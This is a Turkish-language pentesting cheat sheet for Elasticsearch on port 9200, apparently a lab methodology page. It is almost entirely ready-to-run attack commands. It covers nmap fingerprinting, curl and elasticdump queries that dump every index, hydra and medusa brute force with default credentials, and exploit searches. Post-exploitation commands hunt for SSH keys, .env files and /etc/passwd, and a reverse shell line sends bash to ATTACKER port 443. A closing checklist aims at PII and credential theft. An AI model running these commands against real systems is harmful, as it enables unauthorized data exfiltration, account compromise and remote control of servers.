Skip to content

9200 - Pentesting Elasticsearch

Elasticsearch database

ES HTTP API auth’suz kaldığında tüm index’ler açık demektir. Eski script engine RCE verir. Hedef lab IP’si üzerinde komutları 9200 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 9200/9300 doğrula.

  2. /_cat/indices.

  3. Dump.

  4. Script/CVE.

Terminal window
nmap -Pn -sV -p9200,9300 TARGET
Terminal window
curl -s http://TARGET:9200/
Terminal window
curl -s http://TARGET:9200/_cat/indices?v
Terminal window
curl -s http://TARGET:9200/_nodes
Terminal window
curl -s 'http://TARGET:9200/_search?size=100' | jq .
Terminal window
elasticdump --input=http://TARGET:9200/INDEX --output=index.json --type=data
Terminal window
curl -s http://TARGET:9200/_users
Terminal window
nuclei -u http://TARGET:9200 -tags elastic
Terminal window
curl -s -X POST http://TARGET:9200/_search -H 'Content-Type: application/json' -d '{"query":{"match_all":{}}}'

Elasticsearch için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p9200 TARGET
Terminal window
nmap -Pn -p9200 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:9200' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',9200));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Elasticsearch
Terminal window
hydra -L users.txt -P rockyou.txt -s 9200 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9200
Terminal window
nmap -p9200 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Elasticsearch
Terminal window
msfconsole -q -x 'search Elasticsearch; exit'
Terminal window
nuclei -u https://TARGET:9200 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:9200 -tags tech -silent || true
Terminal window
nc -nv TARGET 9200
Terminal window
printf '
' | timeout 3 nc -nv TARGET 9200
Terminal window
curl -vk --http1.0 http://TARGET:9200/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
unauth ES → indices dump → PII/creds